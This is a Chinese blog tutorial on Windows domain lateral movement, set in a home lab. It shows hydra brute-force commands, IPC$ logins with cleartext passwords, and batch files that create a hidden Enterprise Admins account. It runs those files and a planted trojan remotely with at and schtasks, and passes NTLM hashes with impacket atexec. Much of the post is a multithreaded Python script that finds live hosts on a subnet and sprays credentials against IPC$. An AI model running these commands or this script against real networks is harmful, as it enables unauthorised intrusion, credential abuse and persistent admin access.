数据来源
本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
基本概念
DMZ区域:称为“隔离区”,也称‘’非军事化区/停火区”
工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
域和工作组类似,但是由域控制器统一管理,更适合大型网络
Linux域渗透问题
Linux实现域的功能需要安装LDAP,功能不如域强且技术要求高,较少被使用
局域网技术适用问题
有些局域网内的攻击方法在域内不生效
大概内网安全流程问题
信息收集-权限提升-横向渗透-权限维持
演示案例:
- 横向渗透明文传递 at&schtasks
- 横向渗透明文 HASH 传递 impacket
- 横向渗透明文 HASH 传递批量利用-综合
- 横向渗透明文 HASH 传递批量利用-升级版
前提:你要有域环境才能复现下面的案例,域环境的部署可参考我之前写的文章:域(DOmain)_正经人_____的博客-CSDN博客
不同的是我这里的域主机与kali这些主机都是桥接到VMnet8(NAT)模式上是可以正常上网的,懒得手动配ip,而且之后使用kali攻击时可能还需要用到网络。
案例1 - 横向渗透明文传递 at&schtasks
在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机? 这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主 机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典 -> 用到密码明文当做密码字典 -> 尝试连接->创建计划任务(at|schtasks) -> 执行文件可为后门或 者相关命令
前提:拿下的一条内网主机,如域子机win2003
然后在域子机查询域主机的ip,先查域主机名称 -> ping一下这个名称获取ip
net time /domain # 判断主域(域主机/域控/域的控制机)
ping 计算机名称 # 获取ip
利用流程
1. 建立 IPC 链接到目标主机( IPC$ 是一条空链接,别人登录这条链接就能浏览电脑所有数据,默认是开启的只要你没有关闭过)、
注意:要建立连接你就需要知道目标的账号密码
获取域主机的账号用户名
net group "Domain Admins" /domain
登录密码这个没办法,只能暴力破解(我这里就不演示了),这里我就介绍两款破解工具:NTscan10、弱口令破解工具
密码本: 想要破解成功就要有够深的密码本,这里再推荐一个密码本生成工具:密码本生成.zip_免费高速下载|百度网盘-分享无限制 (baidu.com)
如果你的信息收集足够完善还可以用社会工程学密码字典生成器:亦思社会工程学字典生成器.zip_免费高速下载|百度网盘-分享无限制 (baidu.com)
理论上来说只要你的密码本够全面,目标也没有访问限制就没有破解不了的密码,上面这几款工具都是中文是使用很简单我就不多说了。
其他破解工具:
也有人喜欢利用 Burp Suite 进行密码爆破,这个工具安装和使用都相当上面的工具来说就麻烦一点,下载与安装教程可以用我之前写的文章:Java环境安装、python环境安装、Burpsuite安装_kali自带java吗_正经人_____的博客-CSDN博客
Burp Suite 破密码的教程可以看这位大佬的:(167条消息) 利用 Burp Suite 进行密码爆破_世界尽头与你的博客-CSDN博客
如果你不想下载这些花里胡哨的破解工具,你还可以使用kali自带的破解工具:hydra(不用下载安装)
破解教程:kail - 扫描与爆破_正经人_____的博客-CSDN博客(可以下文章内搜索:hydra 快速定位查看,这篇文章的破解教程我只是演示了几个常见的破解端口,其他端口只要开启了服务也是可以破解的如mysql之类的,只要把破解命令最后的服务名称改成端口对应的服务名就可以)
如:
远程桌面(RDP)
hydra -l administrator -P 密码字典 192.168.1.47 rdp
共享文件(SMB)
hydra -l administrator -P 密码字典 192.168.1.47 smb
文件传输(FTP)
hydra -l 用户名 -P 密码字典 192.168.1.47 ftp
邮箱协议(POP3)
hydra -l 用户名 -P 密码字典 192.168.1.47 pop3
MSSQL数据库
hydra -l sa -P 密码字典 192.168.1.47 mssql
MySQL数据库
hydra -l 用户名 -P 密码字典 192.168.1.47 mysql
Oracle数据库
hydra -l 用户名 -P 密码字典 192.168.1.47 oracle
Redis数据库
hydra -l 用户名 -P 密码字典 192.168.1.47 redis
PgSQL数据库
hydra -l 用户名 -P 密码字典 192.168.1.47 postgresql
只要你学会利用上面这些工具,就没有你破解不了的账号密码,但是没有经受害者允许随意攻击他人注意是违法行为。
话不多说进入正题,建立IPC连接(连接成功的前提:目标要开启了139、445和没防火墙拦截,windows的445端口是默认开启的)
# 目标ip 登录密码 用户名
net use \\192.168.1.47\ipc$ "207080sA" /user:god.org\administrator # 建立 ipc 连接,把对方的整个电脑数据共享过来
net use \\192.168.1.47\ipc$ "207080sA" /user:domain\administrator # 域内连接
这里先介绍一下其他用法:
比如查看目标c盘的文件列表
# 要执行的命令、目标ip\目标文件目录
dir \\192.168.1.47\C$
不能讲太多,这东西很敏感,不易通过审核
2. 拷贝要执行的命令脚本到目标主机
首先这里要创建一个批处理文件,里面可以存放你要执行的命令,示例如下:
我现在要做的是创建一个隐藏账号(参考),然后将该账号加入域的管理员组,也就是提权
用到的命令:
net user 用户名 密码 /add # 新建用户,验证 net user 查看用户列表
net localgroup 组名 用户名 /add # 添加用户到组
系统默认常见用户身份:
- Domain Admins:域管理员(默认对域控制器有完全控制权)
- Domain Computers:域内机器
- Domain Controllers:域控制器
- Domain Guest:域访客,权限低
- Domain Users:域用户
- Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
因为这些组都是默认的不知道他们的域管理员会不会改所以先确认一下先查看一下用户组情况:
net group /domain
实现:
批处理的文件内容(我一开始是用 net localgroup 这条命令但是他报错“本地用户组找不到”,该命令应该是只能用于本地用户组的操作,查了一下百度找到了net group命令来代替 (参考))
net user xiaoheizi$ 123456sA /add
net group "Enterprise Admins" xiaoheizi$ /add
开始拷贝我们的批处理文件到目标主机
这里又遇到了问题,我的文件路径是有空格的直接运行和单引号都报错
解决:
- 方法一:用双引号包裹起来,如:"C:\Documents and Settings"
- 方法二:绕过去,创建一个镜像:例:在CMD中输入: subst w: "C:\Documents and Settings"。然后就可以直接用w:替代C:\Documents and Settings了(参考)
# 要执行的命令(copy 要拷贝的本地文件 到目标的文件路径)、目标ip\目标文件目录
copy "C:\Documents and Settings\zhangsan\桌面\add.bat" \\192.168.1.47\c$ # 拷贝执行文件到目标机器
检查一下
# 要执行的命令、目标ip\目标文件目录
dir \\192.168.1.47\C$
3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
这里有两种实现方式:at、schtasks
# at < Windows2012
copy add.bat \\192.168.1.41\c$ # 拷贝执行文件到目标机器
at \\192.168.1.41 15:47 c:\add.bat # 添加计划任务
# schtasks >=Windows2012
copy add.bat \\192.168.1.41\c$ # 复制文件到其 C 盘
schtasks /create /s 192.168.1.47 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F # 创建 adduser 任务(任务名称可改)
schtasks /run /s 192.168.1.41 /tn adduser /i # 运行 adduser 任务
我个人习惯用at,这里用at来演示
查看目标时间
net time /domain # 查看域控时间
创建计划任务(这一步容易出错,并不是权限或写错而是系统对复制粘贴进来的命令识别有点毛病,解决:可以cmd中把空格一一干掉然后再手动补回来)
at \\192.168.1.47 00:15 "C:\add.bat"
at 查看任务
看到这里你有没有一个大胆的想法,既然我们能把一个批处理文件复制到目标然后执行,那我们也可以左轮改AK,小巴改警车(生成木马文件并执行)
改用木马:(我以前写过,就直接复制过来了)
方式一:使用鸽子牧民战天
制作木马
然后把木马程序放到对方的电脑上:copy d:\xiahezi.exe \\10.1.1.1\c$\windows\system32
然后要运行一下木马程序,以后就变成服务了:at \\ip 时间 “要运行的文件路径”
运行对方的木马文件: at \\10.1.1.1 15:48 "c:\windows\system32\xiahezi.exe"
方式2:使用CS
cobaltstrike的安装与基础使用_windows安装cobaltstrike_正经人_____的博客-CSDN博客
4. 删除 IPC 链接
# schtasks
schtasks /delete /s 192.168.1.41 /tn adduser /f # 删除 adduser 任务
# at 的时间到了就自动执行并删除了,也可手动删除
# 可以先查看任务列表获取任务id
at
# 然后再删除指定的任务
at 任务id /delete
ipc的一些其他操作
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除
IPC net view xx.xx.xx.xx # 查看对方共享
建立 IPC 常见的错误代码
-
5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
-
51:网络问题,Windows 无法找到网络路径 (
-
53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有 防火墙等问题
-
67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
-
1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
-
1326:账号密码错误
-
1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
-
2242:用户密码过期,目标有账号策略,强制定期更改密码
建立 IPC 失败的原因
- 目标系统不是 NT 或以上的操作系统
- 对方没有打开 IPC$共享
- 对方未开启 139、445 端口,或者被防火墙屏蔽
- 输出命令、账号密码有错误
案例2 - 横向渗透明文 HASH 传递
Impacket官方仓库
GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.
EXE打包版(win)
https://github.com/maaaaz/impacket-examples-windows
可通过atexec.exe连接对方主机执行命令,支持密码为HASH密文
# 要运行的程序 账号:密码 目标ip 要执行的系统命令
atexec.exe ./administrator:207080sA@192.168.1.55 "whoami"
# 其他方式
atexec.exe god/administrator:207080sA@192.168.1.45 "whoami"
# 使用hash密文的方式
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.1.45 "whoami"
这里报错了“找不到对象名称”,换个命令:ipconfig
案例3 - 横向渗透明文 HASH 传递批量利用-综合(这个案例实用价值不大)
这个案例是建立在案例2下载的脚本基础上执行的
首先要收集网段ip,比如你已经入侵了内网的某台主机,知道该主机的账号密码,就可以用这个密码去尝试其他内网主机看能不能成功登录(就是碰运气看其他内网主机会不会也是这个登录,俗称“撞密码”)
收集ip(使用系统内置命令循环ping)
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
存放ip信息到一个txt文件
1)批量检测 IP 对应明文 连接
这里要创建后缀为.bta的批处理文件
@echo off
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "207080sA" /user:administrator
pause
运行效果
2)批量检测 IP 对应明文 回显版
@echo off
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:207080sA@%%i "ipconfig"
pause
破解密码与使用hash的也是同样的思路,这里就不演示了
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami # 批量检测明文对应 IP 回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测 HASH 对应 IP 回显版
案例4 - 横向渗透明文 HASH 传递批量利用-升级
这是视频中老师简单写的pyhton脚本,有编程基础的就可以完善这个过程,也可以用其他语言重写,这里先演示一下后面我会用pyhton完善这个脚本。
net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.31',
'192.168.3.33'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
直接运行代码(注意这里你的脚本要有正确的ip地址、用户名与密码才能连接成功)
完善这个脚本
1)先完善ip的信息收集(因为现在的目标ip是手写的就很不方便,我们学编程的肯定要利用自身掌握的技能让自己偷懒)
collect.py
# coding=gbk
import os,time
import threading # 导入threading模块实现多线程
# net use \\192.168.1.55\ipc$ 207080sA /user:god\Administrator
# pip install pyinstaller
# pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs={
'admin',
'admin!@#45',
'207080sA'
}
def ips(ip,x):
"""
循环ping获取指定网段存活的主机ip
:param ip: 接收一个ip网段
:param x: ip最后一位数字
:return: Nune
"""
ip_i = f"{ip}.{x}"
cmd = f'ping {ip_i}'
result = os.system(cmd) # 执行失败返回1,成功0
if result == 0:
print(ip_i)
with open(r'ip.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(ip_i + '\n') # write() 方法写入数据
def Lateral_infiltration():
"""
尝试与目标主机建立ipc连接
:return:
"""
for ip in open('ip.txt'): # ip.txt 就是刚才我们通过ping提取出来的目标主机ip
ip = ip.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for user in users:
for mima in passs:
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
print(f'****** 正在尝试建立主机ip为{ip}的ipc连接,user={user},pass={mima} ******')
result = os.popen(exec)
if "命令成功完成" in result.read(): # 判断result.read()中是否有“命令执行成功”这个字符
print(result.read())
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(ip + f"|ok user={user},pass={mima}" + '\n') # write() 方法写入数据
if __name__ == '__main__':
ip = input("输入你要扫描的网段,如:192.168.1:")
thread = 254 # 控制要创建的线程
# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
for x in range(1,thread + 1):
t = threading.Thread(target=ips, kwargs={"ip": ip,"x":x}) # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
t.start() # 启动线程,让他开始工作
if x == 254: # 判断已经执行完ip获取
time.sleep(1)
Lateral_infiltration()
使用:
运行结果:
注意:我这里写的脚本只适合扫描目标ip的子网掩码是/24 ->255.255.255.0 的,如果有其他需求可以自己改下脚本
2)现在的用户名与密码也是手动写的,也要改一下
创建两个.txt文件,如:passs.txt、users.txt
内容格式示例
admin
admin!@#45
207080sA
# coding=gbk
import os,time
import threading # 导入threading模块实现多线程
# net use \\192.168.1.55\ipc$ 207080sA /user:god\Administrator
# pip install pyinstaller
# pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
def ips(ip,x):
"""
循环ping获取指定网段存活的主机ip
:param ip: 接收一个ip网段
:param x: ip最后一位数字
:return: Nune
"""
ip_i = f"{ip}.{x}"
cmd = f'ping {ip_i}'
result = os.system(cmd) # 执行失败返回1,成功0
if result == 0:
print(ip_i)
with open(r'ip.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(ip_i + '\n') # write() 方法写入数据
def Lateral_infiltration():
"""
尝试与目标主机建立ipc连接
:return:
"""
for ip in open('ip.txt'): # ip.txt 就是刚才我们通过ping提取出来的目标主机ip
ip = ip.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for user in open('users.txt'):
user = user.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for mima in open('passs.txt'):
mima = mima.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
print(f'****** 正在尝试建立主机ip为{ip}的ipc连接,user={user},pass={mima} ******')
result = os.popen(exec)
if "命令成功完成" in result.read(): # 判断result.read()中是否有“命令执行成功”这个字符
print(result.read())
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(ip + f"|ok user={user},pass={mima}" + '\n') # write() 方法写入数据
if __name__ == '__main__':
ip = input("输入你要扫描的网段,如:192.168.1:")
thread = 254 # 控制要创建的线程
# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
for x in range(1,thread + 1):
t = threading.Thread(target=ips, kwargs={"ip": ip,"x":x}) # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
t.start() # 启动线程,让他开始工作
if x == 254: # 判断已经执行完ip获取
time.sleep(1)
Lateral_infiltration()
我这个将之前生成的 result.txt、ip.txt 文件删除,再次运行代码测试脚本
3)现在的脚本运行数据有点慢给他再装个多线程
下面的代码出来获取目标网段存活ip这个函数我没改,其他的都改了一遍(不会的可以给我留言)
# coding=gbk
import os,time
import threading # 导入threading模块实现多线程
import queue # 导入队列模块,配合多线程编程,能够在多线程中直接使用,可以使用队列来实现线程间的同步
# net use \\192.168.1.55\ipc$ 207080sA /user:god\Administrator
def ips(ip,x):
"""
循环ping获取指定网段存活的主机ip
:param ip: 接收一个ip网段
:param x: ip最后一位数字
:return: Nune
"""
ip_i = f"{ip}.{x}"
cmd = f'ping {ip_i}'
result = os.system(cmd) # 执行失败返回1,成功0
if result == 0:
print(ip_i)
with open(r'ip.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(ip_i + '\n') # write() 方法写入数据
time.sleep(0.5)
def Lateral_infiltration():
"""
尝试与目标主机建立ipc连接
:return:
"""
while not q.empty(): # while 循环 not(非,反转) 真为假,假为真
cmd = q.get() # 获取队列中的数据(建立ipc连接的命令)
print(f'****** 正在尝试与主机建立ipc连接,{cmd} ******')
# result = os.popen(cmd)
result = os.system(cmd)
if result == 0:
with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
f.write(cmd + '\n') # write() 方法写入数据
else:
print(f"{cmd}**无法建立连接,可能是用户名或密码错误")
# if "命令成功完成" in result.read(): # 判断result.read()中是否有“命令执行成功”这个字符
# print(result.read())
# with open(r'result.txt', 'a+') as f: # open()打开函数 a+:以读写模式打开,如果文件不存在就创建,以存在就追加
# f.write(cmd + '\n') # write() 方法写入数据
# else:
# print(f"{cmd}**无法建立连接,可能是用户名或密码错误{result},{result.read()}")
if __name__ == '__main__':
sum = 0 # 用来创建最后面的线程,写死50感觉还是太慢,真男人就是要快!!!
q = queue.Queue() # 创建队列
ip = input("输入你要扫描的网段,如:192.168.1:")
thread = 254 # 控制要创建的线程
# 创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
for x in range(1,thread + 1):
t = threading.Thread(target=ips, kwargs={"ip": ip,"x":x}) # 创建线程对象,target=执行目标任务名,args 以元组的形式传参,kwargs 以字典的形式传参
t.start() # 启动线程,让他开始工作
time.sleep(2.5) # 阻塞2.5s钟留多点时间给ip获取的函数(大家好,我是练习2年半的小黑子。)
"""
给Lateral_infiltration函数搞个多线程
"""
# 1、先搞定参数问题(ip、用户名、密码)让参数可以同步
for ip in open('ip.txt'): # ip.txt 就是刚才我们通过ping提取出来的目标主机ip
ip = ip.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for user in open('users.txt'):
user = user.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
for mima in open('passs.txt'):
mima = mima.replace('\n', '') # replace() 方法替换字符串,将换行替换为空
exec = "net use \\" + "\\" + ip + '\ipc$ ' + mima + ' /user:god\\' + user # 定义命令执行语句
q.put(exec) # 向队列中插入元素(cmd命令,建立ipc连接)
sum += 1
# print(q.get())
# 2、创建多线程,这个循环的次数越多创建的线程的次数就越多,线程不是越多越好,建议5到10个
# 我这里的线程数就改成,建立ipc连接命令的一半
sum2 = int(sum / 2)
for x in range(sum2): # range() 创建一个数字序列,只写一个参数num就是从0开始创建到num-1的序列如:0-9
t = threading.Thread(target=Lateral_infiltration) # 创建线程对象,target=执行目标任务名
t.start()
运行效果:
4)其实到这里脚本就写完了,不过我看视频中的老师的可以打包成.exe可执行文件,这样就不需要依赖python3的环境就可以运行,我也试试(试完了没能成功生成建立ipc连接成功的文件,也就是失败了,你们也可以跳过这一步,运行py脚本是没问题的)
pip install pyinstaller # 安装pyinstaller模块
pyinstaller -F collect.py # 生成可执行EXE
安装
打包(这里建议在你的脚本文件的根目录打开cmd执行代码)
使用
我这里报错了,检查一下发现我的用户名与密码的文本文件没有复制过来,太晚了脑子有点迟钝
5)这里脚本的使用说明
- 输入的网段地址必须是3位数的也就是说子网掩码是/24,如:192.168.1
- 要自己创建两个.exe文件,分别存放用户名与密码(users.txt、passs.txt)
- 运行脚本时如果目标网段有存活ip地址就会生成ip.txt文件,否则不会生成
- 运行脚本时如果能够成功建立ipc连接才会生成result.txt文件,否则不会生成
- 用户名与密码的txt文件的内容都是可以使用工具生成,不过用户名建议自己写几个常用的就好,不然及脚本运算量会很大,运行时间会很长
- 密码字典生成
- 社工字典生成
- 脚本的其他功能更新问题:等找到工作了,以后有时间再更新这个脚本的其他功能